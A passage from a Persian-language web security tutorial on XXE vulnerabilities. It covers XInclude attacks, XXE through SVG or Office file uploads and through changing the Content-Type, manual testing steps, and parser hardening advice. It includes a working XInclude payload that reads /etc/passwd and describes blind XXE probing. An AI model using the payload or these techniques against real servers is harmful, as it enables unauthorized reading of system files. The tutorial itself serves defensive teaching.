دهید. برای انجام حمله XInclude، باید ابتدا مرجع namespace یا فضای نام XInclude را مشخص کنید، و بعد مسیر فایلی را که می‌خواهید include کنید (فایلی را که به سند اضافه می‌شود) تعیین کنید:

<foo xmlns:xi=”http://www.w3.org/2001/XInclude”>
<xi:include parse=”text” href=”file:///etc/passwd”/></foo>

حملات XXE از طریق آپلود فایل

برخی از اپلیکیشن‌ها به کاربران اجازه‌ی آپلود فایل را می‌دهند و این فایل‌ها پس از آپلود، در سمت سرور پردازش می‌شوند. برخی از قالب‌های فایل رایج از XML استفاده می‌کنند یا حاوی اجزایی داخلی هستند که از XML استفاده کرده‌اند. برای مثال اسناد Office مانند Docx یا قالب‌های تصویر مانند SVG از XML استفاده می‌کنند. برای مثال فرض کنید یک اپلیکیشن به کاربران اجازه‌ی آپلود تصویر می‌دهد، و این تصاویر را پس از آپلود، روی سرور پردازش یا اعتبارسنجی می‌کند. حتی اگر اپلیکیشن انتظار داشته باشد که قالب‌هایی ماند PNG یا JPEG را دریافت کند، کتابخانه‌ی پردازش تصویری که در سمت سرور استفاده شده، ممکن است از تصاویر با قالب SVG هم پشتیبانی کند. از آن‌جایی که قالب SVG از XML استفاده می‌کند، یک مهاجم می‌تواند یک تصویر SVG مخرب در اپلیکیشن ثبت کند تا بتواند به سطح حمله‌ی پنهان آسیب‌پذیری‌های XXE دست پیدا کند.

حملات XXE از طریق تغییر نوع محتوا

اکثر ریکوئست‌های POST از یک نوع محتوای پیش‌فرض استفاده می‌کنند که توسط فرم‌های HTML تولید شده است؛ برای مثال application/x-www-form-urlencoded. برخی از وبسایت‌ها انتظار دارند ریکوئست‌ها را در این قالب خاص دریافت کنند، ولی انواع دیگر محتوا از جمله محتوای XML را نیز قبول می‌کنند. برای مثال، اگر یک ریکوئست معمولی حاوی محتوای زیر باشد:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

در این صورت ممکن است بتوانید ریکوئست زیر را نیز ثبت کنید و نتیجه‌ی یکسانی بگیرید:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version=”1.0″ encoding=”UTF-8″?><foo>bar</foo>

اگر اپلیکیشن ریکوئست‌های حاوی XML در بدنه‌ی پیام را قبول کند، و محتوای بدنه‌ی پیام را به عنوان XML تجزیه کند، در این صورت به سادگی می‌توانید سطح حمله‌ی مخفی XXE را بیابید؛ کافی‌ست قالب ریکوئست‌ها را طوری تغییر دهید که از قالب XML استفاده کنند.

چگونه آسیب‌پذیری‌های XXE را بیابیم؟ (تست وجود XXE)

تعداد کثیری از آسیب‌پذیری‌های XXE را می‌توان به سرعت و با ضریب اطمینان بالا، با استفاده از اسکنر آسیب‌پذیری وب Burp Suite بیابید. برای تست دستی وجود آسیب‌پذیری‌های XXE معمولا باید مراحل زیر را انجام دهید:
  • تست امکان دستیابی به فایل‌ها: برای این کار باید یک انتیتی خارجی تعریف کنید و مقدار آن را یکی از فایل‌های کاملا شناخته‌شده‌ی سیستم‌عامل (مثل passwd) قرار دهید، و سپس از آن انتیتی در داده‌هایی استفاده کنید که در پاسخ اپلیکیشن ارسال می‌شوند.
  • تست وجود آسیب‌پذیری‌های Blind XXE: برای این کار می‌توانید یک انتیتی اکسترنال تعریف کنید و مقدار آن را برابر URL سیستمی قرار دهید که در کنترل شماست، و ارتباطات اپلیکیشن با آن سیستم را مانیتور کنید.
  • تست استفاده از داده غیر XML در اسناد XML: همان‌طور که توضیح دادیم، داده‌های ثبت‌شده توسط کاربر حتی اگر در قالب XML نباشند، ممکن است در سمت سرور در یک سند XML قرار داده شوند. برای تست وجود این آسیب‌پذیری باید از تکنیک حمله XInclude استفاده کنید و سعی کنید یکی از فایل‌های شناخته‌شده‌ی سیستم (مانند passwd) را به دست آورید.

چگونه از آسیب‌پذیری XXE جلوگیری کنیم؟

تمامی آسیب‌پذیری‌های XXE به این خاطر به وجود می‌آیند که کتابخانه‌ی تجزیه‌ی XML که توسط اپلیکیشن استفاده می‌شود، از امکاناتی در XML پشتیبانی می‌کند که علاوه بر این که می‌توانند بسیار خطرناک باشند، اپلیکیشن به آن‌ها نیازی ندارد و قرار نیست از آن‌ها استفاده کند. آسان‌ترین و موثرترین راه برای پیشگیری از حملات تزریق XXE، غیرفعال‌کردن این امکانات در Parser است. عموما غیرفعال‌کردن تجزیه‌ی انتیتی‌های خارجی و غیرفعال‌کردن پشتیبانی از XInclude کافی است. این کار را معمولا می‌توان با پیکربندی و یا تغییر کد پارسر و بازنویسی رفتارهای پیش‌فرض انجام داد. برای یافتن اطلاعات بیشتر درباره‌ی نحوه‌ی غیرفعال‌کردن امکانات غیرضروری، به داکیومنتیشن کتابخانه یا API پارسر XML مراجعه کنید.

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *